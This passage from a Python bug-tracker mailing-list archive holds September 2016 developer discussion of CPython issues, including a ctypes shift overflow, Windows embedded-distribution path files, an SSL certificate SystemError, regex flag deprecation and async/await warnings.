    #168 0x9780b8 in _PyFunction_FastCallDict Python/ceval.c:4996
    #169 0x5132d7 in _PyObject_FastCallDict Objects/abstract.c:2297
    #170 0x513904 in _PyObject_Call_Prepend Objects/abstract.c:2360
    #171 0x5125ba in PyObject_Call Objects/abstract.c:2248
    #172 0x957bb0 in do_call_core Python/ceval.c:5032
    #173 0x957bb0 in _PyEval_EvalFrameDefault Python/ceval.c:3332
    #174 0x94292f in PyEval_EvalFrameEx Python/ceval.c:718
    #175 0x94292f in _PyEval_EvalCodeWithName Python/ceval.c:4094
    #176 0x944b2e in fast_function Python/ceval.c:4904
    #177 0x944b2e in call_function Python/ceval.c:4784
    #178 0x95a0f4 in _PyEval_EvalFrameDefault Python/ceval.c:3250
    #179 0x94292f in PyEval_EvalFrameEx Python/ceval.c:718
    #180 0x94292f in _PyEval_EvalCodeWithName Python/ceval.c:4094
    #181 0x946d62 in PyEval_EvalCodeEx Python/ceval.c:4115
    #182 0x946d62 in PyEval_EvalCode Python/ceval.c:695
    #183 0x93be64 in builtin_exec_impl Python/bltinmodule.c:944
    #184 0x93be64 in builtin_exec Python/clinic/bltinmodule.c.h:281
    #185 0x6e7d20 in _PyCFunction_FastCallDict Objects/methodobject.c:234
    #186 0x6e7d20 in _PyCFunction_FastCallKeywords Objects/methodobject.c:295
    #187 0x944cfc in call_function Python/ceval.c:4763
    #188 0x95a0f4 in _PyEval_EvalFrameDefault Python/ceval.c:3250
    #189 0x94292f in PyEval_EvalFrameEx Python/ceval.c:718
    #190 0x94292f in _PyEval_EvalCodeWithName Python/ceval.c:4094
    #191 0x944b2e in fast_function Python/ceval.c:4904
    #192 0x944b2e in call_function Python/ceval.c:4784
    #193 0x95a0f4 in _PyEval_EvalFrameDefault Python/ceval.c:3250
    #194 0x94292f in PyEval_EvalFrameEx Python/ceval.c:718
    #195 0x94292f in _PyEval_EvalCodeWithName Python/ceval.c:4094
    #196 0x946efe in PyEval_EvalCodeEx Python/ceval.c:4115
    #197 0x60821b in function_call Objects/funcobject.c:604
    #198 0x5125ba in PyObject_Call Objects/abstract.c:2248
    #199 0x4a02ac in RunModule Modules/main.c:209
    #200 0x4a23cd in Py_Main Modules/main.c:719
    #201 0x423200 in main Programs/python.c:69
    #202 0x7fb4bdae36ff in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x206ff)
    #203 0x424cc8 in _start (/home/fran/code/cpython/python+0x424cc8)

----------
components: ctypes
messages: 276549
nosy: franciscouzo
priority: normal
severity: normal
status: open
title: shift exponent overflow
versions: Python 3.7

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28169>
_______________________________________

From report at bugs.python.org  Thu Sep 15 07:41:02 2016
From: report at bugs.python.org (Eryk Sun)
Date: Thu, 15 Sep 2016 11:41:02 +0000
Subject: [issue28168] Use _winapi.WaitForMultipleObjects in Popen.wait()
In-Reply-To: <1473936169.85.0.779071092468.issue28168@psf.upfronthosting.co.za>
Message-ID: <1473939662.23.0.45627591625.issue28168@psf.upfronthosting.co.za>


Changes by Eryk Sun <eryksun+pybugs at gmail.com>:


Added file: http://bugs.python.org/file44674/issue_28168_02.patch

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28168>
_______________________________________

From report at bugs.python.org  Thu Sep 15 08:41:03 2016
From: report at bugs.python.org (Martin Panter)
Date: Thu, 15 Sep 2016 12:41:03 +0000
Subject: [issue28169] shift exponent overflow
In-Reply-To: <1473938615.31.0.984151049874.issue28169@psf.upfronthosting.co.za>
Message-ID: <1473943263.65.0.85894919026.issue28169@psf.upfronthosting.co.za>


Martin Panter added the comment:

Perhaps this is a dupe of Issue 15119. When I was testing with the sanitizer, the only excessive shift error I got was explained by that bug.

----------
nosy: +martin.panter

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28169>
_______________________________________

From report at bugs.python.org  Thu Sep 15 09:22:20 2016
From: report at bugs.python.org (Wolfgang Langner)
Date: Thu, 15 Sep 2016 13:22:20 +0000
Subject: [issue28137] Windows sys.path file should be renamed
In-Reply-To: <1473800855.2.0.943648814208.issue28137@psf.upfronthosting.co.za>
Message-ID: <1473945740.84.0.724655140587.issue28137@psf.upfronthosting.co.za>


Wolfgang Langner added the comment:

If this is only for the use case of embedded distribution we are now only to steps away to provide a easy custom shipping of applications for Windows.

1. Take the file name of the executable to load a custom EXECUTABLENAME.path file
2. Allow to specify a main to be executed or a pyz zipapp to be run with the -m switch. Or simply use first line of the path file if it contains "-m myapp".

With this by only renaming the python.exe and having a simple text file with the information, custom applications distribution can be done.

Sorry, I know not directly related to this.

----------
nosy: +tds333

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28137>
_______________________________________

From report at bugs.python.org  Thu Sep 15 09:33:16 2016
From: report at bugs.python.org (Steve Dower)
Date: Thu, 15 Sep 2016 13:33:16 +0000
Subject: [issue27354] SSLContext.load_verify_locations cannot handle paths on
 Windows which cannot be encoded using mbcs
In-Reply-To: <1466389929.18.0.227515818606.issue27354@psf.upfronthosting.co.za>
Message-ID: <1473946396.32.0.534875064086.issue27354@psf.upfronthosting.co.za>


Steve Dower added the comment:

TESTFN_UNENCODABLE will be invalid utf8 now, as the name is chosen by attempting to encode a list of names and using the first one to fail.

No code pages have emoji in them AFAIK, so a test with one of those would do.

ISTR looking at this function though and finding that OpenSSL will decide utf8 if that's what is passed, in which case we're fine now. Or maybe I'm thinking of Tcl...

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27354>
_______________________________________

From report at bugs.python.org  Thu Sep 15 09:59:00 2016
From: report at bugs.python.org (Paul Moore)
Date: Thu, 15 Sep 2016 13:59:00 +0000
Subject: [issue28137] Windows sys.path file should be renamed
In-Reply-To: <1473800855.2.0.943648814208.issue28137@psf.upfronthosting.co.za>
Message-ID: <1473947940.1.0.156268567169.issue28137@psf.upfronthosting.co.za>


Paul Moore added the comment:

You can actually handle this already, with a simple wrapper program (based on the one in PC\WinMain.c):

/* Minimal main program -- everything is loaded from the library. */

#include "Python.h"

#define WIN32_LEAN_AND_MEAN
#include <windows.h>

int wmain()
{
    wchar_t **myargv = malloc((__argc + 3) * sizeof(wchar_t*));
    int i;
    myargv[0] = __wargv[0];
    myargv[1] = L"myapp.zip";
    for (i = 1; i < __argc; ++i) {
        myargv[1+i] = __wargv[i];
    }
    myargv[1+i] = 0;
    return Py_Main(__argc+1, myargv);
}

This injects your application name "myapp.zip" as the first argument and then calls the Python main interpreter. Run this with a conventional embedded Python, and you have a standalone application.

You can easily tidy the above sample up (it's just a quick hack) to make it generic by working out the name of the zipped Python application from the exe name.

But thanks for the idea - I hadn't really thought about doing something like this until you prompted me to investigate.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28137>
_______________________________________

From report at bugs.python.org  Thu Sep 15 09:59:59 2016
From: report at bugs.python.org (=?utf-8?b?UmFmYcWCIENoxYJvZG5pY2tp?=)
Date: Thu, 15 Sep 2016 13:59:59 +0000
Subject: [issue20160] broken ctypes calling convention on MSVC / 64-bit
 Windows (large structs)
In-Reply-To: <1389087474.06.0.281853443562.issue20160@psf.upfronthosting.co.za>
Message-ID: <1473947999.55.0.29951163824.issue20160@psf.upfronthosting.co.za>


Rafa? Ch?odnicki added the comment:

Only a part of this fix was backported to 3.3 branch (in http://bugs.python.org/issue20160#msg272059). The other important part was only backported to 3.4 and up in http://bugs.python.org/issue20160#msg230723 .

Should this still be fixed?

----------
nosy: +Rafa? Ch?odnicki

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue20160>
_______________________________________

From report at bugs.python.org  Thu Sep 15 10:04:20 2016
From: report at bugs.python.org (=?utf-8?b?UmFmYcWCIENoxYJvZG5pY2tp?=)
Date: Thu, 15 Sep 2016 14:04:20 +0000
Subject: [issue22733] MSVC ffi_prep_args doesn't handle 64-bit arguments
 properly
In-Reply-To: <1414355754.77.0.458541552576.issue22733@psf.upfronthosting.co.za>
Message-ID: <1473948260.7.0.863716708864.issue22733@psf.upfronthosting.co.za>


Rafa? Ch?odnicki added the comment:

Maybe worth backporting to 3.3 and up? Especially if #20160 is to be backported as they seem to be related.

----------
nosy: +Rafa? Ch?odnicki

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue22733>
_______________________________________

From report at bugs.python.org  Thu Sep 15 10:05:55 2016
From: report at bugs.python.org (Christian Heimes)
Date: Thu, 15 Sep 2016 14:05:55 +0000
Subject: [issue20160] broken ctypes calling convention on MSVC / 64-bit
 Windows (large structs)
In-Reply-To: <1389087474.06.0.281853443562.issue20160@psf.upfronthosting.co.za>
Message-ID: <1473948355.96.0.331675064614.issue20160@psf.upfronthosting.co.za>


Christian Heimes added the comment:

3.3 no longer receives any updates, neither security nor feature updates. 3.3.7 was the final release of 3.3.

----------
nosy: +christian.heimes

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue20160>
_______________________________________

From report at bugs.python.org  Thu Sep 15 10:09:54 2016
From: report at bugs.python.org (Wolfgang Langner)
Date: Thu, 15 Sep 2016 14:09:54 +0000
Subject: [issue28138] Windows _sys.path file should allow import site
In-Reply-To: <1473801082.85.0.435937363317.issue28138@psf.upfronthosting.co.za>
Message-ID: <1473948594.71.0.0263655888669.issue28138@psf.upfronthosting.co.za>


Wolfgang Langner added the comment:

But this is nearly the same as a *.pth file.
Using the same logic and extension then does not confuse more users.

Why not doing the same as with a .pth file?

Using something like a _sys.pth file if it is there it will be used for path handling. In all cases on all platforms for interpreter startup.
(if we will have the embedded interpreter on more platforms)

----------
nosy: +tds333

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28138>
_______________________________________

From report at bugs.python.org  Thu Sep 15 10:12:14 2016
From: report at bugs.python.org (Christian Heimes)
Date: Thu, 15 Sep 2016 14:12:14 +0000
Subject: [issue20160] broken ctypes calling convention on MSVC / 64-bit
 Windows (large structs)
In-Reply-To: <1389087474.06.0.281853443562.issue20160@psf.upfronthosting.co.za>
Message-ID: <1473948734.35.0.152993726722.issue20160@psf.upfronthosting.co.za>


Christian Heimes added the comment:

Small correction, 3.3 will get security updates until 2017. This bug is clearly not a security issue. The patch should not have landed in 3.3 in the first patch.

https://www.python.org/dev/peps/pep-0398/#id7

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue20160>
_______________________________________

From report at bugs.python.org  Thu Sep 15 10:41:37 2016
From: report at bugs.python.org (Tim Graham)
Date: Thu, 15 Sep 2016 14:41:37 +0000
Subject: [issue22493] Deprecate the use of flags not at the start of regular
 expression
In-Reply-To: <1411640940.81.0.804351058131.issue22493@psf.upfronthosting.co.za>
Message-ID: <1473950497.38.0.478182662544.issue22493@psf.upfronthosting.co.za>


Tim Graham added the comment:

Could we include the offending pattern in the deprecation message? I'm attaching a proposed patch. With that patch I can more easily find the offending pattern, whereas before I had no idea:

django/django/urls/resolvers.py:101: DeprecationWarning: Flags not at the start of the expression ^(?i)test/2/?$
  compiled_regex = re.compile(regex, re.UNICODE)

----------
nosy: +Tim.Graham
Added file: http://bugs.python.org/file44675/better-warning.diff

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue22493>
_______________________________________

From report at bugs.python.org  Thu Sep 15 10:53:40 2016
From: report at bugs.python.org (R. David Murray)
Date: Thu, 15 Sep 2016 14:53:40 +0000
Subject: [issue28128] Improve the warning message for invalid escape sequences
In-Reply-To: <1473779424.19.0.440456250628.issue28128@psf.upfronthosting.co.za>
Message-ID: <1473951220.27.0.985704933834.issue28128@psf.upfronthosting.co.za>


R. David Murray added the comment:

Are SyntaxWarnings silent by default?  If not it can't even go into 3.7.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28128>
_______________________________________

From report at bugs.python.org  Thu Sep 15 10:58:49 2016
From: report at bugs.python.org (Vinay Sajip)
Date: Thu, 15 Sep 2016 14:58:49 +0000
Subject: [issue20160] broken ctypes calling convention on MSVC / 64-bit
 Windows (large structs)
In-Reply-To: <1389087474.06.0.281853443562.issue20160@psf.upfronthosting.co.za>
Message-ID: <1473951529.77.0.96513059753.issue20160@psf.upfronthosting.co.za>


Vinay Sajip added the comment:

> This bug is clearly not a security issue.

I'm not sure it's all that clear - the bug could cause a crash (observed in practice - not theoretical), which perhaps could be exploited. See Steve Dower's message msg272008 in this thread. That's why I added the patch in 3.3.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue20160>
_______________________________________

From report at bugs.python.org  Thu Sep 15 11:00:17 2016
From: report at bugs.python.org (Tim Graham)
Date: Thu, 15 Sep 2016 15:00:17 +0000
Subject: [issue22493] Deprecate the use of flags not at the start of regular
 expression
In-Reply-To: <1411640940.81.0.804351058131.issue22493@psf.upfronthosting.co.za>
Message-ID: <1473951617.81.0.627878059431.issue22493@psf.upfronthosting.co.za>


Tim Graham added the comment:

And on further investigation, I'm not sure how to fix the deprecation warnings in Django. We have a urlpattern like this:

  url(r'^(?i)CaseInsensitive/(\w+)', empty_view, name="insensitive"),

The regex string r'^(?i)CaseInsensitive/(\w+)' is later substituted in this line in Django's URL resolver as the `pattern`:

if re.search('^%s%s' % (re.escape(_prefix), pattern), candidate_pat % candidate_subs, re.UNICODE):

It seems Django would need to extract any flags from `pattern` and put them at the start of the '^%s%s' string that's constructed for re.search(). I'm not sure if this can be done easily.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue22493>
_______________________________________

From report at bugs.python.org  Thu Sep 15 11:18:10 2016
From: report at bugs.python.org (Steve Dower)
Date: Thu, 15 Sep 2016 15:18:10 +0000
Subject: [issue28137] Windows sys.path file should be renamed
In-Reply-To: <1473800855.2.0.943648814208.issue28137@psf.upfronthosting.co.za>
Message-ID: <1473952690.44.0.833592015596.issue28137@psf.upfronthosting.co.za>


Steve Dower added the comment:

I like it. Making the name match the exe name should have been obvious, and if nobody is opposed to simply aborting on unsupported syntax (i.e. imports other than site) I don't actually mind making it .pth.

It's a separate idea, but what if the presence of a __main__.py file caused that file to always run and every argument gets passed to that instead? The purposes seem separate enough to use two files. And we could implement that part easily enough in PC/WinMain.c, as Paul suggests.

Both of these options are fairly aggressive wrt other command line options (i.e. how do you specify unbuffered IO? how do you set the hash seed?), but the point is really that you wouldn't use them with these options - if you don't want to build your own main() function, the defaults should be good enough.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28137>
_______________________________________

From report at bugs.python.org  Thu Sep 15 11:21:55 2016
From: report at bugs.python.org (Steve Dower)
Date: Thu, 15 Sep 2016 15:21:55 +0000
Subject: [issue28138] Windows _sys.path file should allow import site
In-Reply-To: <1473801082.85.0.435937363317.issue28138@psf.upfronthosting.co.za>
Message-ID: <1473952915.14.0.864975229069.issue28138@psf.upfronthosting.co.za>


Steve Dower added the comment:

On issue28137 I agreed with the proposal to rename to EXENAME.pth, but rather than supporting all of .pth file's syntax we would abort the process on anything we don't like.

Specifically, we'd allow relative paths, absolute paths, blank lines, comments, and "import site". (The parsing code is written in C and runs before initialization, so we can't exec stuff anyway, but if I had my way I'd ban that from .pth files everywhere.)

Supporting this on other platforms requires porting the code to Python/getpath.c. I took a quick survey of core devs at the sprints and nobody seemed desperate to have it, but it's something that we can add at any time since it is tied to build/install (rather than anything you'd write in Python code).

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28138>
_______________________________________

From report at bugs.python.org  Thu Sep 15 11:26:29 2016
From: report at bugs.python.org (Steve Dower)
Date: Thu, 15 Sep 2016 15:26:29 +0000
Subject: [issue20160] broken ctypes calling convention on MSVC / 64-bit
 Windows (large structs)
In-Reply-To: <1389087474.06.0.281853443562.issue20160@psf.upfronthosting.co.za>
Message-ID: <1473953189.81.0.663821793277.issue20160@psf.upfronthosting.co.za>


Steve Dower added the comment:

It may be exploitable, but I doubt it can be exploited without providing arbitrary Python code.

Anyone still running Python 3.3 on Windows must be building it from source. If they haven't noticed crashes from this issue yet, they aren't using the feature, and if they have they've probably already applied the patch.

I think it's Georg's call.

----------
nosy: +georg.brandl

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue20160>
_______________________________________

From report at bugs.python.org  Thu Sep 15 11:33:40 2016
From: report at bugs.python.org (Matthew Barnett)
Date: Thu, 15 Sep 2016 15:33:40 +0000
Subject: [issue22493] Deprecate the use of flags not at the start of regular
 expression
In-Reply-To: <1411640940.81.0.804351058131.issue22493@psf.upfronthosting.co.za>
Message-ID: <1473953620.12.0.251844831933.issue22493@psf.upfronthosting.co.za>


Matthew Barnett added the comment:

@Tim: Why are you using re.search with '^'? Does the pattern that's passed in ever contain '(?m)'? If not, re.match without '^' is better.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue22493>
_______________________________________

From report at bugs.python.org  Thu Sep 15 11:47:27 2016
From: report at bugs.python.org (Matt Wright)
Date: Thu, 15 Sep 2016 15:47:27 +0000
Subject: [issue28170] SystemError: <built-in method peer_certificate of
 _ssl._SSLSocket object at 0x7f98ac154858> returned NULL without setting an
 error
Message-ID: <1473954447.18.0.714530872587.issue28170@psf.upfronthosting.co.za>


New submission from Matt Wright:

I'm experiencing a strange error when connecting to a web server with a self signed certificate. I've added the Root and Intermediate certs to the system CA bundle, and can `curl` against the server without any errors or using the `k` flag. But Python (via requests) raises an error that I can't seem to figure out at all with the `peer_certificate` method. Below you'll find the specific error:

```
import requests
requests.get('https://localhost:9200/_cluster/health', verify='/etc/ssl/certs/ca-certificates.crt')
Traceback (most recent call last):
  File "test.py", line 2, in <module>
    requests.get('https://localhost:9200/_cluster/health', verify='/etc/ssl/certs/ca-certificates.crt')
  File "/usr/lib/python3/dist-packages/requests/api.py", line 67, in get
    return request('get', url, params=params, **kwargs)
  File "/usr/lib/python3/dist-packages/requests/api.py", line 53, in request
    return session.request(method=method, url=url, **kwargs)
  File "/usr/lib/python3/dist-packages/requests/sessions.py", line 468, in request
    resp = self.send(prep, **send_kwargs)
  File "/usr/lib/python3/dist-packages/requests/sessions.py", line 576, in send
    r = adapter.send(request, **kwargs)
  File "/usr/lib/python3/dist-packages/requests/adapters.py", line 376, in send
    timeout=timeout
  File "/usr/lib/python3/dist-packages/urllib3/connectionpool.py", line 560, in urlopen
    body=body, headers=headers)
  File "/usr/lib/python3/dist-packages/urllib3/connectionpool.py", line 346, in _make_request
    self._validate_conn(conn)
  File "/usr/lib/python3/dist-packages/urllib3/connectionpool.py", line 787, in _validate_conn
    conn.connect()
  File "/usr/lib/python3/dist-packages/urllib3/connection.py", line 259, in connect
    cert = self.sock.getpeercert()
  File "/usr/lib/python3.5/ssl.py", line 818, in getpeercert
    return self._sslobj.getpeercert(binary_form)
  File "/usr/lib/python3.5/ssl.py", line 595, in getpeercert
    return self._sslobj.peer_certificate(binary_form)
SystemError: <built-in method peer_certificate of _ssl._SSLSocket object at 0x7f98ac154858> returned NULL without setting an error
```

----------
assignee: christian.heimes
components: SSL
messages: 276567
nosy: Matt Wright, christian.heimes
priority: normal
severity: normal
status: open
title: SystemError: <built-in method peer_certificate of _ssl._SSLSocket object at 0x7f98ac154858> returned NULL without setting an error
type: behavior
versions: Python 3.5

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28170>
_______________________________________

From report at bugs.python.org  Thu Sep 15 11:52:22 2016
From: report at bugs.python.org (Paul Moore)
Date: Thu, 15 Sep 2016 15:52:22 +0000
Subject: [issue28137] Windows sys.path file should be renamed
In-Reply-To: <1473800855.2.0.943648814208.issue28137@psf.upfronthosting.co.za>
Message-ID: <1473954742.72.0.168926701753.issue28137@psf.upfronthosting.co.za>


Paul Moore added the comment:

I'd prefer not to hard code __main__.py, as I'd quite like to be able to have a number of copies of the executable, each running its own script. (I foresee putting all my little Python utility scripts in a directory with a Python installation and a set of launchers).

BTW, see https://github.com/pfmoore/pylaunch for a very quickly put together, but working, prototype. Whatever the conclusion here, I'll probably continue working on this. Unless the embedded python.exe completely subsumes the functionality :-)

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28137>
_______________________________________

From report at bugs.python.org  Thu Sep 15 11:52:59 2016
From: report at bugs.python.org (=?utf-8?b?UmFmYcWCIENoxYJvZG5pY2tp?=)
Date: Thu, 15 Sep 2016 15:52:59 +0000
Subject: [issue20160] broken ctypes calling convention on MSVC / 64-bit
 Windows (large structs)
In-Reply-To: <1389087474.06.0.281853443562.issue20160@psf.upfronthosting.co.za>
Message-ID: <1473954779.59.0.361505250415.issue20160@psf.upfronthosting.co.za>


Rafa? Ch?odnicki added the comment:

In case it makes any difference, my query was prompted by this issue being noticed in Sublime Text editor. Its author bundles Python 3.3 so the bug reproduced there and it took a while to figure out what is the problem.

Now that the Sublime Text issue was analyzed and authors are aware of the bug and patch, they will probably patch the fixes manually so it doesn't matter that much for that particular case.

Personally I think the bug is quite serious, but at the same time it is quite specific use case.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue20160>
_______________________________________

From report at bugs.python.org  Thu Sep 15 11:54:28 2016
From: report at bugs.python.org (Christian Heimes)
Date: Thu, 15 Sep 2016 15:54:28 +0000
Subject: [issue28170] SystemError: <built-in method peer_certificate of
 _ssl._SSLSocket object at 0x7f98ac154858> returned NULL without setting an
 error
In-Reply-To: <1473954447.18.0.714530872587.issue28170@psf.upfronthosting.co.za>
Message-ID: <1473954868.44.0.541911246612.issue28170@psf.upfronthosting.co.za>


Christian Heimes added the comment:

Do you happen to talk to an ElasticSearch cluster with a GEN_RID in the subject alternative name field? It's a known bug in Python's ssl code. The fix #27691 will be in the next releases of 2.7 and 3.5.

In the mean time you can work around the bug by reconfiguring your ES cluster and application. You have to use different certs for node <-> client and node <-> node communication. OID 1.2.3.4.5.5 should only be in the cluster communication certs. https://github.com/floragunncom/search-guard-docs/blob/1a35ec309661f7b8fb1efc2586fc298dcb7cb139/installation.md#generating-a-server-certificate

----------
resolution:  -> duplicate
stage:  -> resolved
status: open -> closed
superseder:  -> X509 cert with GEN_RID subject alt name causes SytemError

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28170>
_______________________________________

From report at bugs.python.org  Thu Sep 15 12:02:41 2016
From: report at bugs.python.org (Matt Wright)
Date: Thu, 15 Sep 2016 16:02:41 +0000
Subject: [issue28170] SystemError: <built-in method peer_certificate of
 _ssl._SSLSocket object at 0x7f98ac154858> returned NULL without setting an
 error
In-Reply-To: <1473954447.18.0.714530872587.issue28170@psf.upfronthosting.co.za>
Message-ID: <1473955361.97.0.613070048949.issue28170@psf.upfronthosting.co.za>


Matt Wright added the comment:

Ahh! Thanks much!

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28170>
_______________________________________

From report at bugs.python.org  Thu Sep 15 12:08:11 2016
From: report at bugs.python.org (Yury Selivanov)
Date: Thu, 15 Sep 2016 16:08:11 +0000
Subject: [issue27391] server_hostname should only be required when checking
 host names
In-Reply-To: <1466955837.8.0.0746303655033.issue27391@psf.upfronthosting.co.za>
Message-ID: <1473955691.37.0.851880483172.issue27391@psf.upfronthosting.co.za>


Yury Selivanov added the comment:

> The feature is pretty much required these days.

We have the feature. What Jim was asking is to make server_hostname argument optional when check_hostname is False in the ssl context

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27391>
_______________________________________

From report at bugs.python.org  Thu Sep 15 12:25:29 2016
From: report at bugs.python.org (Christian Heimes)
Date: Thu, 15 Sep 2016 16:25:29 +0000
Subject: [issue27391] server_hostname should only be required when checking
 host names
In-Reply-To: <1466955837.8.0.0746303655033.issue27391@psf.upfronthosting.co.za>
Message-ID: <1473956729.08.0.426597026254.issue27391@psf.upfronthosting.co.za>


Christian Heimes added the comment:

It's a bad idea. An increasing amount of web servers require a TLS SNI extension. I'd rather make server_hostname a required argument for all client-side SSL sockets -- no matter how check_hostname is configured.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27391>
_______________________________________

From report at bugs.python.org  Thu Sep 15 12:28:04 2016
From: report at bugs.python.org (Yury Selivanov)
Date: Thu, 15 Sep 2016 16:28:04 +0000
Subject: [issue27391] server_hostname should only be required when checking
 host names
In-Reply-To: <1466955837.8.0.0746303655033.issue27391@psf.upfronthosting.co.za>
Message-ID: <1473956884.84.0.842288441082.issue27391@psf.upfronthosting.co.za>


Yury Selivanov added the comment:

> It's a bad idea.

I thought so too :)  I was actually going to ask you to review this request.  In any case, feel free to close this issue.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27391>
_______________________________________

From report at bugs.python.org  Thu Sep 15 12:41:52 2016
From: report at bugs.python.org (Yury Selivanov)
Date: Thu, 15 Sep 2016 16:41:52 +0000
Subject: [issue26182] Deprecation warnings for the future async and await
 keywords in Python 3.6
In-Reply-To: <1453489566.62.0.462459552998.issue26182@psf.upfronthosting.co.za>
Message-ID: <1473957712.16.0.109653651531.issue26182@psf.upfronthosting.co.za>


Yury Selivanov added the comment:

I'm going to commit the patch now (I'm going on vacation tomorrow, and I want to watch the buildbots).

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue26182>
_______________________________________

From report at bugs.python.org  Thu Sep 15 12:50:58 2016
From: report at bugs.python.org (Roundup Robot)
Date: Thu, 15 Sep 2016 16:50:58 +0000
Subject: [issue26182] Deprecation warnings for the future async and await
 keywords in Python 3.6
In-Reply-To: <1453489566.62.0.462459552998.issue26182@psf.upfronthosting.co.za>
Message-ID: <20160915165055.19180.18049.CBD4AB43@psf.io>


Roundup Robot added the comment:

New changeset 82e6017dc841 by Yury Selivanov in branch '3.6':
Issue #26182: Raise DeprecationWarning for improper use of async/await keywords
https://hg.python.org/cpython/rev/82e6017dc841

New changeset 3f8b75173543 by Yury Selivanov in branch 'default':
Merge 3.6 (issue #26182)
https://hg.python.org/cpython/rev/3f8b75173543

----------
nosy: +python-dev

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue26182>
_______________________________________

From report at bugs.python.org  Thu Sep 15 12:51:13 2016
From: report at bugs.python.org (Yury Selivanov)
Date: Thu, 15 Sep 2016 16:51:13 +0000
Subject: [issue26182] Deprecation warnings for the future async and await
 keywords in Python 3.6
In-Reply-To: <1453489566.62.0.462459552998.issue26182@psf.upfronthosting.co.za>
Message-ID: <1473958273.05.0.142709532354.issue26182@psf.upfronthosting.co.za>


Yury Selivanov added the comment:

Merged.

----------
resolution:  -> fixed
stage: needs patch -> resolved
status: open -> closed

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue26182>
_______________________________________

From report at bugs.python.org  Thu Sep 15 13:19:44 2016
From: report at bugs.python.org (Roundup Robot)
Date: Thu, 15 Sep 2016 17:19:44 +0000
Subject: [issue28114] parse_envlist(): os.execve(), os.spawnve(),
 etc. crash in Python 3.6.0 when env contains byte strings
In-Reply-To: <1473749735.07.0.359680040874.issue28114@psf.upfronthosting.co.za>
Message-ID: <20160915171940.32218.86895.C0635507@psf.io>


Roundup Robot added the comment:

New changeset 8d80a4291ddc by Berker Peksag in branch '3.6':
Issue #28114: Fix a crash in parse_envlist() when env contains byte strings
https://hg.python.org/cpython/rev/8d80a4291ddc

New changeset 8ad99fdc84a3 by Berker Peksag in branch 'default':
Issue #28114: Merge from 3.6
https://hg.python.org/cpython/rev/8ad99fdc84a3

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28114>
_______________________________________

From report at bugs.python.org  Thu Sep 15 13:46:34 2016
From: report at bugs.python.org (Roundup Robot)
Date: Thu, 15 Sep 2016 17:46:34 +0000
Subject: [issue28156] [Patch] posixmodule: Make the presence of os.getpid()
 optional
In-Reply-To: <1473872030.91.0.717541080729.issue28156@psf.upfronthosting.co.za>
Message-ID: <20160915174631.31963.27530.E652CA8A@psf.io>


Roundup Robot added the comment:

New changeset d17ff867580f by Berker Peksag in branch '3.6':
Issue #28156: Export os.getpid() conditionally
https://hg.python.org/cpython/rev/d17ff867580f

New changeset 33834105048e by Berker Peksag in branch 'default':
Issue #28156: Merge from 3.6
https://hg.python.org/cpython/rev/33834105048e

----------
nosy: +python-dev

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28156>
_______________________________________

From report at bugs.python.org  Thu Sep 15 13:47:11 2016
From: report at bugs.python.org (Berker Peksag)
Date: Thu, 15 Sep 2016 17:47:11 +0000
Subject: [issue28156] [Patch] posixmodule: Make the presence of os.getpid()
 optional
In-Reply-To: <1473872030.91.0.717541080729.issue28156@psf.upfronthosting.co.za>
Message-ID: <1473961631.2.0.641716925594.issue28156@psf.upfronthosting.co.za>


Berker Peksag added the comment:

Thanks!

----------
nosy: +berker.peksag
resolution:  -> fixed
stage:  -> resolved
status: open -> closed
versions: +Python 3.7

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28156>
_______________________________________

From report at bugs.python.org  Thu Sep 15 13:48:30 2016
From: report at bugs.python.org (Berker Peksag)
Date: Thu, 15 Sep 2016 17:48:30 +0000
Subject: [issue28114] parse_envlist(): os.execve(), os.spawnve(),
 etc. crash in Python 3.6.0 when env contains byte strings
In-Reply-To: <1473749735.07.0.359680040874.issue28114@psf.upfronthosting.co.za>
Message-ID: <1473961710.94.0.410263244801.issue28114@psf.upfronthosting.co.za>


Berker Peksag added the comment:

Thanks for the patch, Eryk!

----------
resolution:  -> fixed
stage: patch review -> resolved
status: open -> closed

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28114>
_______________________________________

From report at bugs.python.org  Thu Sep 15 13:57:23 2016
